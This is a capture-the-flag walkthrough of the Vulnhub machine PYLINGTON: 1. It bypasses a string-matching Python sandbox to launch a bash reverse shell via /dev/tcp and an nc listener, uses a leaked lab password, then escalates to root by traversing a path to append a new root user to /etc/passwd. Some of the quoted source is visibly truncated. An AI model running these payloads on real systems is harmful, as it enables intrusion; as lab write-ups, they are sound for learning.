This is PYLINGTON: 1 from Vulnhub. It doesn’t have a rating but I’m going to say it was easy.


SSH and HTTP, and running on Arch Linux. That’s interesting, isn’t it? No? Whatever.


We have an online python interpreter but in order to use it we are supposed to register; but registration has been disabled. robots.txt points us to /zbir7mn240soxhicso2z, which contains some credentials, and we can use that to login. Once logged in, we get a page where we can enter a python program, give it input and see the output.

We are also told:

This online IDE is protected with NoImportOS™, an unescapable™ sandbox. NoImportOS™ is secure because of its simplicity; it’s only 9 lines of code (available here)

What does that code look like?

def check_if_safe(code: str) -> bool:
    if 'import' in code: # import is too dangerous
        return False
    elif 'os' in code: # os is too dangerous
        return False
    elif 'open' in code: # opening files is also too dangerous
        return False
        return True

So it’s literally looking for the strings ‘os’, ‘import’ and ‘open’. Should be easy, yes?

Here’s my reverse shell - there are other ways of doing this, but this was mine:

a = "im"
b = "port "
c = "o"
d = "s;"
e = "s"
f = ".system"
g = "('bash -i >& /dev/tcp/ 0>&1')"

Does it work? Of course!

└─# nc -nvlp 1234                                                                                                                                           1 ⨯
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 38754
bash: cannot set terminal process group (186): Inappropriate ioctl for device
bash: no job control in this shell
[http@archlinux /]$

PY and root

Getting to user (py) was very simple with an SUID binary:

[http@archlinux py]$ ./typing
Let's play a game! If you can type the sentence below, then I'll tell you my password.

the quick brown fox jumps over the lazy dog
the quick brown fox jumps over the lazy dog
[http@archlinux py]$ su py
su py
Password: 54ezhCGaJV
python3 -c 'import pty;pty.spawn("/bin/bash");'
[py@archlinux ~]$

Well, that was easy. The source code for the typing binary was provided too.

Now, for root we have another SUID binary:

[py@archlinux secret_stuff]$ ls -lash
ls -lash
total 40K
4.0K drwx------ 2 py   py   4.0K Apr 22 08:38 .
4.0K dr-xr-xr-x 3 py   py   4.0K Apr 16 23:41 ..
 28K -rwsr-xr-x 1 root root  26K Apr  9 19:30 backup
4.0K -rw-r--r-- 1 root root  586 Apr  9 19:30
[py@archlinux secret_stuff]$ cat
#include <iostream>
#include <string>
#include <fstream>

int main(){
    std::cout<<"Enter a line of text to back up: ";
    std::string line;
    std::string path;
    std::cout<<"Enter a file to append the text to (must be inside the /srv/backups directory): ";

        std::cout<<"The file must be inside the /srv/backups directory!\n";
        std::ofstream backup_file(path,std::ios_base::app);

    return 0;
[py@archlinux secret_stuff]$

What can we do with this? The trick is that the output directory has to start with /srv/backups; but it doesn’t have to end there.

[py@archlinux secret_stuff]$ ./backup
Enter a line of text to back up: root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash
Enter a file to append the text to (must be inside the /srv/backups directory): /srv/backups/../../etc/passwd
[py@archlinux secret_stuff]$ cat /etc/passwd
cat /etc/passwd
# snipped out for brevity
git:x:974:974:git daemon user:/:/usr/bin/git-shell
redis:x:973:973:Redis in-memory data structure store:/var/lib/redis:/usr/bin/nologin
[py@archlinux secret_stuff]$ su root2
su root2
Password: mrcake

[root@archlinux secret_stuff]# cd /root
cd /root
[root@archlinux ~]# ls -lash
ls -lash
total 64K
4.0K drwxr-x---  6 root root 4.0K Apr 16 23:42 .
4.0K drwxr-xr-x 17 root root 4.0K Apr 17 00:23 ..
8.0K -rw-------  1 root root 4.3K Apr 17 00:28 .bash_history
4.0K drwx------  4 root root 4.0K Apr  7 19:19 .cache
4.0K drwx------  3 root root 4.0K Apr  8 18:51 .config
4.0K drwx------  3 root root 4.0K Apr  7 18:27 .gnupg
4.0K -rw-------  1 root root  105 Apr  7 19:33 .rediscli_history
4.0K drwxr-xr-x  2 root root 4.0K Apr  7 19:06 .vim
 20K -rw-------  1 root root  17K Apr 16 23:42 .viminfo
4.0K -rw-r--r--  1 root root  336 Apr  7 19:01 .vimrc
4.0K -rw-r--r--  1 root root   33 Apr 16 23:42 root.txt
[root@archlinux ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@archlinux ~]# cat root.txt
cat root.txt
[root@archlinux ~]#